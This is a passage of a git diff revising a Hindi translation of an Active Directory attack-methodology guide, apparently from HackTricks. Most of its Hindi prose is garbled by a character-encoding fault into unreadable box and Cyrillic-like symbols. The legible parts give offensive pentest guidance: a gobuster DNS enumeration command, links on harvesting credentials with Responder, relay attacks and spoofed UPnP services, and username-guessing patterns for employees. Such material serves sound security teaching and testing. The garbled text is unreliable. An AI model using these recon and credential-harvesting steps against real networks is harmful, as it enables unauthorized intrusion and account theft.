рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рдмрджрд▓ рдЬрд╛рдП!** +**Execute рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдЗрд╕реА рддрд░рд╣ рдЖрдкрдХрд╛ рдХреЛрдб рдкреНрд░реЛрдЧреНрд░рд╛рдо рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕рд╕реЗ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рдмрджрд▓ рдЬрд╛рдП!** ## **рд╕рдВрджрд░реНрдн** diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 55511651f..19d979764 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -6,12 +6,12 @@ **Active Directory** рдПрдХ рдореМрд▓рд┐рдХ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдЬреЛ **рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ** рдХреЛ **рдбреЛрдореЗрди**, **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ**, рдФрд░ **рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕** рдХреЛ рдПрдХ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рднреАрддрд░ рдХреБрд╢рд▓рддрд╛ рд╕реЗ рдмрдирд╛рдиреЗ рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИред рдЗрд╕реЗ рд╕реНрдХреЗрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рдПрдХ рд╡рд┐рд╕реНрддреГрдд рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкреНрд░рдмрдВрдзрдиреАрдп **рд╕рдореВрд╣реЛрдВ** рдФрд░ **рдЙрдкрд╕рдореВрд╣реЛрдВ** рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рд╡рд┐рднрд┐рдиреНрди рд╕реНрддрд░реЛрдВ рдкрд░ **рдПрдХреНрд╕реЗрд╕ рдЕрдзрд┐рдХрд╛рд░реЛрдВ** рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред -**Active Directory** рдХреА рд╕рдВрд░рдЪрдирд╛ рддреАрди рдкреНрд░рд╛рдердорд┐рдХ рдкрд░рддреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рд╣реИ: **рдбреЛрдореЗрди**, **рдкреЗрдбрд╝**, рдФрд░ **рдЬрдВрдЧрд▓**ред рдПрдХ **рдбреЛрдореЗрди** рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХрд╛ рдПрдХ рд╕рдВрдЧреНрд░рд╣ рд╣реИ, рдЬреИрд╕реЗ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдпрд╛ **рдбрд┐рд╡рд╛рдЗрд╕**, рдЬреЛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рд╛рдЭрд╛ рдХрд░рддреЗ рд╣реИрдВред **рдкреЗрдбрд╝** рдЗрди рдбреЛрдореЗрди рдХреЗ рд╕рдореВрд╣ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╕рд╛рдЭрд╛ рд╕рдВрд░рдЪрдирд╛ рджреНрд╡рд╛рд░рд╛ рдЬреБрдбрд╝реЗ рд╣реЛрддреЗ рд╣реИрдВ, рдФрд░ рдПрдХ **рдЬрдВрдЧрд▓** рдХрдИ рдкреЗрдбрд╝реЛрдВ рдХрд╛ рд╕рдВрдЧреНрд░рд╣ рд╣реИ, рдЬреЛ **рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕рдВрдмрдВрдзреЛрдВ** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрдкрд╕ рдореЗрдВ рдЬреБрдбрд╝реЗ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рд╕рдВрдЧрдардирд╛рддреНрдордХ рд╕рдВрд░рдЪрдирд╛ рдХреА рд╕рдмрд╕реЗ рдКрдкрд░реА рдкрд░рдд рдмрдирд╛рддреЗ рд╣реИрдВред рдЗрди рд╕реНрддрд░реЛрдВ рдореЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ **рдПрдХреНрд╕реЗрд╕** рдФрд░ **рд╕рдВрд╡рд╛рдж рдЕрдзрд┐рдХрд╛рд░** рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред +**Active Directory** рдХреА рд╕рдВрд░рдЪрдирд╛ рддреАрди рдкреНрд░рд╛рдердорд┐рдХ рдкрд░рддреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рд╣реИ: **рдбреЛрдореЗрди**, **рдкреЗрдбрд╝**, рдФрд░ **рдЬрдВрдЧрд▓**ред рдПрдХ **рдбреЛрдореЗрди** рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХрд╛ рдПрдХ рд╕рдВрдЧреНрд░рд╣ рд╣реИ, рдЬреИрд╕реЗ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдпрд╛ **рдбрд┐рд╡рд╛рдЗрд╕**, рдЬреЛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рд╛рдЭрд╛ рдХрд░рддреЗ рд╣реИрдВред **рдкреЗрдбрд╝** рдЗрди рдбреЛрдореЗрди рдХреЗ рд╕рдореВрд╣ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рд╕рд╛рдЭрд╛ рд╕рдВрд░рдЪрдирд╛ рджреНрд╡рд╛рд░рд╛ рдЬреБрдбрд╝реЗ рд╣реЛрддреЗ рд╣реИрдВ, рдФрд░ рдПрдХ **рдЬрдВрдЧрд▓** рдХрдИ рдкреЗрдбрд╝реЛрдВ рдХрд╛ рд╕рдВрдЧреНрд░рд╣ рд╣реИ, рдЬреЛ **рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕рдВрдмрдВрдзреЛрдВ** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрдкрд╕ рдореЗрдВ рдЬреБрдбрд╝реЗ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рд╕рдВрдЧрдардирд╛рддреНрдордХ рд╕рдВрд░рдЪрдирд╛ рдХреА рд╕рдмрд╕реЗ рдКрдкрд░реА рдкрд░рдд рдмрдирд╛рддреЗ рд╣реИрдВред рдкреНрд░рддреНрдпреЗрдХ рд╕реНрддрд░ рдкрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ **рдПрдХреНрд╕реЗрд╕** рдФрд░ **рд╕рдВрд╡рд╛рдж рдЕрдзрд┐рдХрд╛рд░** рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред **Active Directory** рдХреЗ рднреАрддрд░ рдкреНрд░рдореБрдЦ рдЕрд╡рдзрд╛рд░рдгрд╛рдПрдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: 1. **Directory** тАУ Active Directory рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд░рдЦрддрд╛ рд╣реИред -2. **Object** тАУ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рднреАрддрд░ рдХреА рд╕рдВрд╕реНрдерд╛рдПрдБ, рдЬреИрд╕реЗ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛**, **рд╕рдореВрд╣**, рдпрд╛ **рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░**ред +2. **Object** тАУ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рднреАрддрд░ рдХреА рд╕рдВрд╕реНрдерд╛рдПрдБ, рдЬреИрд╕реЗ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛**, **рд╕рдореВрд╣**, рдпрд╛ **рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░** рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИред 3. **Domain** тАУ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдВрдЯреЗрдирд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХрдИ рдбреЛрдореЗрди рдПрдХ **рдЬрдВрдЧрд▓** рдХреЗ рднреАрддрд░ рд╕рд╣-рдЕрд╕реНрддрд┐рддреНрд╡ рдореЗрдВ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдкреНрд░рддреНрдпреЗрдХ рдЕрдкрдиреА рд╕реНрд╡рдпрдВ рдХреА рдСрдмреНрдЬреЗрдХреНрдЯ рд╕рдВрдЧреНрд░рд╣ рдмрдирд╛рдП рд░рдЦрддрд╛ рд╣реИред 4. **Tree** тАУ рдбреЛрдореЗрди рдХрд╛ рдПрдХ рд╕рдореВрд╣ рдЬреЛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд░реВрдЯ рдбреЛрдореЗрди рд╕рд╛рдЭрд╛ рдХрд░рддрд╛ рд╣реИред 5. **Forest** тАУ Active Directory рдореЗрдВ рд╕рдВрдЧрдардирд╛рддреНрдордХ рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рд╢рд┐рдЦрд░, рдЬрд┐рд╕рдореЗрдВ рдХрдИ рдкреЗрдбрд╝ рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рдирдореЗрдВ **рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕рдВрдмрдВрдз** рд╣реЛрддреЗ рд╣реИрдВред @@ -21,11 +21,11 @@ 1. **Domain Services** тАУ рдбреЗрдЯрд╛ рднрдВрдбрд╛рд░рдг рдХреЛ рдХреЗрдВрджреНрд░реАрдХреГрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ** рдФрд░ **рдбреЛрдореЗрди** рдХреЗ рдмреАрдЪ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ **рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдФрд░ **рдЦреЛрдЬ** рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдПрдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред 2. **Certificate Services** тАУ рд╕реБрд░рдХреНрд╖рд┐рдд **рдбрд┐рдЬрд┐рдЯрд▓ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ** рдХреЗ рдирд┐рд░реНрдорд╛рдг, рд╡рд┐рддрд░рдг, рдФрд░ рдкреНрд░рдмрдВрдзрди рдХреА рджреЗрдЦрд░реЗрдЦ рдХрд░рддрд╛ рд╣реИред 3. **Lightweight Directory Services** тАУ **LDAP рдкреНрд░реЛрдЯреЛрдХреЙрд▓** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛-рд╕рдХреНрд╖рдо рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред -4. **Directory Federation Services** тАУ рдПрдХрд▓ рд╕рд╛рдЗрди-рдСрди рдХреНрд╖рдорддрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдПрдХ рд╣реА рд╕рддреНрд░ рдореЗрдВ рдХрдИ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред -5. **Rights Management** тАУ рдХреЙрдкреАрд░рд╛рдЗрдЯ рд╕рд╛рдордЧреНрд░реА рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдЕрдирдзрд┐рдХреГрдд рд╡рд┐рддрд░рдг рдФрд░ рдЙрдкрдпреЛрдЧ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред +4. **Directory Federation Services** тАУ рдПрдХрд▓ рд╕рддреНрд░ рдореЗрдВ рдХрдИ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рд╕рд┐рдВрдЧрд▓-рд╕рд╛рдЗрди-рдСрди** рдХреНрд╖рдорддрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +5. **Rights Management** тАУ рдЕрдирдзрд┐рдХреГрдд рд╡рд┐рддрд░рдг рдФрд░ рдЙрдкрдпреЛрдЧ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдХреЗ рдХреЙрдкреАрд░рд╛рдЗрдЯ рд╕рд╛рдордЧреНрд░реА рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдореЗрдВ рд╕рд╣рд╛рдпрддрд╛ рдХрд░рддрд╛ рд╣реИред 6. **DNS Service** тАУ **рдбреЛрдореЗрди рдирд╛рдореЛрдВ** рдХреЗ рд╕рдорд╛рдзрд╛рди рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред -рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory) +рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рд╕реНрдкрд╖реНрдЯреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory) ### **Kerberos Authentication** @@ -34,15 +34,18 @@ AD рдкрд░ **рд╣рдорд▓рд╛ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ **Kerberos ## Cheat Sheet -рдЖрдк [https://wadcoms.github.io/](https://wadcoms.github.io) рдкрд░ рдЬрд╛рдХрд░ AD рдХреЛ рд╕реВрдЪреАрдмрджреНрдз/рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдХреМрди рд╕реЗ рдХрдорд╛рдВрдб рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕рдХрд╛ рддреНрд╡рд░рд┐рдд рджреГрд╢реНрдп рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк [https://wadcoms.github.io/](https://wadcoms.github.io) рдкрд░ рдЬрд╛рдХрд░ AD рдХреЛ рд╕реВрдЪреАрдмрджреНрдз/рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдХреМрди рд╕реЗ рдХрдорд╛рдВрдб рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕рдХрд╛ рддреНрд╡рд░рд┐рдд рдЕрд╡рд▓реЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +> [!WARNING] +> Kerberos рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП **рдкреВрд░реНрдг рдпреЛрдЧреНрдп рдирд╛рдо (FQDN)** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рдорд╢реАрди рддрдХ IP рдкрддреЗ рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ **рдпрд╣ NTLM рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ рдФрд░ Kerberos рдХрд╛ рдирд╣реАрдВ**ред ## Recon Active Directory (No creds/sessions) -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреЗрд╡рд▓ AD рд╡рд╛рддрд╛рд╡рд░рдг рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ рд▓реЗрдХрд┐рди рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреЛрдИ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓/рд╕рддреНрд░ рдирд╣реАрдВ рд╣реИрдВ, рддреЛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреЗрд╡рд▓ AD рд╡рд╛рддрд╛рд╡рд░рдг рддрдХ рдкрд╣реБрдБрдЪ рд╣реИ рд▓реЗрдХрд┐рди рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреЛрдИ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓/рд╕рддреНрд░ рдирд╣реАрдВ рд╣реИрдВ, рддреЛ рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: - **рдиреЗрдЯрд╡рд░реНрдХ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВ:** -- рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рд╕реНрдХреИрди рдХрд░реЗрдВ, рдорд╢реАрдиреЗрдВ рдФрд░ рдЦреБрд▓реЗ рдкреЛрд░реНрдЯ рдЦреЛрдЬреЗрдВ рдФрд░ рдЙрди рдкрд░ **рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд╢реЛрд╖рдг** рдХрд░рдиреЗ рдпрд╛ **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд┐рдХрд╛рд▓рдиреЗ** рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, [рдкреНрд░рд┐рдВрдЯрд░ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд▓рдХреНрд╖реНрдп рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ](ad-information-in-printers.md)ред -- DNS рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рд╕реЗ рдбреЛрдореЗрди рдореЗрдВ рдкреНрд░рдореБрдЦ рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рд╡реЗрдм, рдкреНрд░рд┐рдВрдЯрд░, рд╢реЗрдпрд░, рд╡реАрдкреАрдПрди, рдореАрдбрд┐рдпрд╛, рдЖрджрд┐ред +- рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рд╕реНрдХреИрди рдХрд░реЗрдВ, рдорд╢реАрдиреЗрдВ рдФрд░ рдЦреБрд▓реЗ рдкреЛрд░реНрдЯ рдЦреЛрдЬреЗрдВ рдФрд░ рдЙрдирд╕реЗ **рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд╢реЛрд╖рдг** рдХрд░рдиреЗ рдпрд╛ **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд┐рдХрд╛рд▓рдиреЗ** рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, [рдкреНрд░рд┐рдВрдЯрд░реНрд╕ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд▓рдХреНрд╖реНрдп рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ](ad-information-in-printers.md)ред +- DNS рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рд╕реЗ рдбреЛрдореЗрди рдореЗрдВ рдкреНрд░рдореБрдЦ рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓ рд╕рдХрддреА рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рд╡реЗрдм, рдкреНрд░рд┐рдВрдЯрд░реНрд╕, рд╢реЗрдпрд░, рд╡реАрдкреАрдПрди, рдореАрдбрд┐рдпрд╛, рдЖрджрд┐ред - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` - рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВред - **smb рд╕реЗрд╡рд╛рдУрдВ рдкрд░ рд╢реВрдиреНрдп рдФрд░ рдЧреЗрд╕реНрдЯ рдПрдХреНрд╕реЗрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ** (рдпрд╣ рдЖрдзреБрдирд┐рдХ Windows рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдкрд░ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛): @@ -64,12 +67,12 @@ AD рдкрд░ **рд╣рдорд▓рд╛ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ **Kerberos {{#endref}} - **рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рд╡рд┐рд╖рд╛рдХреНрдд рдХрд░реЗрдВ** -- рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЗрдХрдЯреНрдард╛ рдХрд░реЗрдВ [**Responder рдХреЗ рд╕рд╛рде рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддреЗ рд╣реБрдП**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -- [**рд░рд┐рд▓реЗ рд╣рдорд▓реЗ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) рд╣реЛрд╕реНрдЯ рддрдХ рдкрд╣реБрдБрдЪреЗрдВ -- рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЗрдХрдЯреНрдард╛ рдХрд░реЗрдВ **рдирдХрд▓реА UPnP рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддреЗ рд╣реБрдП** [**evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) +- [**Responder рдХреЗ рд╕рд╛рде рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЗрдХрдЯреНрдард╛ рдХрд░реЗрдВ**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +- [**рд░рд┐рд▓реЗ рд╣рдорд▓реЗ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣реЛрд╕реНрдЯ рддрдХ рдкрд╣реБрдБрдЪреЗрдВ**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) +- [**рдЦрд░рд╛рдм UPnP рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЗрдХрдЯреНрдард╛ рдХрд░реЗрдВ**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html): -- рдЖрдВрддрд░рд┐рдХ рджрд╕реНрддрд╛рд╡реЗрдЬреЛрдВ, рд╕реЛрд╢рд▓ рдореАрдбрд┐рдпрд╛, рд╕реЗрд╡рд╛рдУрдВ (рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╡реЗрдм) рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо/рдирд╛рдо рдирд┐рдХрд╛рд▓реЗрдВ рдЬреЛ рдбреЛрдореЗрди рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рднреАрддрд░ рдФрд░ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реИрдВред -- рдпрджрд┐ рдЖрдк рдХрдВрдкрдиреА рдХреЗ рдХрд░реНрдордЪрд╛рд░рд┐рдпреЛрдВ рдХреЗ рдкреВрд░реНрдг рдирд╛рдо рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рд╡рд┐рднрд┐рдиреНрди AD **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рд╕рдореНрдореЗрд▓рдиреЛрдВ** рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (**[рдпрд╣ рдкрдврд╝реЗрдВ](https://activedirectorypro.com/active-directory-user-naming-convention/)**)ред рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рд╕рдореНрдореЗрд▓рди рд╣реИрдВ: _NameSurname_, _Name.Surname_, _NamSur_ (рдкреНрд░рддреНрдпреЗрдХ рдХреЗ 3 рдЕрдХреНрд╖рд░), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЕрдХреНрд╖рд░ рдФрд░ 3 рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рдВрдЦреНрдпрд╛_ (abc123)ред +- рдЖрдВрддрд░рд┐рдХ рджрд╕реНрддрд╛рд╡реЗрдЬреЛрдВ, рд╕реЛрд╢рд▓ рдореАрдбрд┐рдпрд╛, рд╕реЗрд╡рд╛рдУрдВ (рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╡реЗрдм) рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо/рдирд╛рдо рдирд┐рдХрд╛рд▓реЗрдВ рдЬреЛ рдбреЛрдореЗрди рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рднреАрддрд░ рд╣реИрдВ рдФрд░ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реИрдВред +- рдпрджрд┐ рдЖрдк рдХрдВрдкрдиреА рдХреЗ рдХрд░реНрдордЪрд╛рд░рд┐рдпреЛрдВ рдХреЗ рдкреВрд░реНрдг 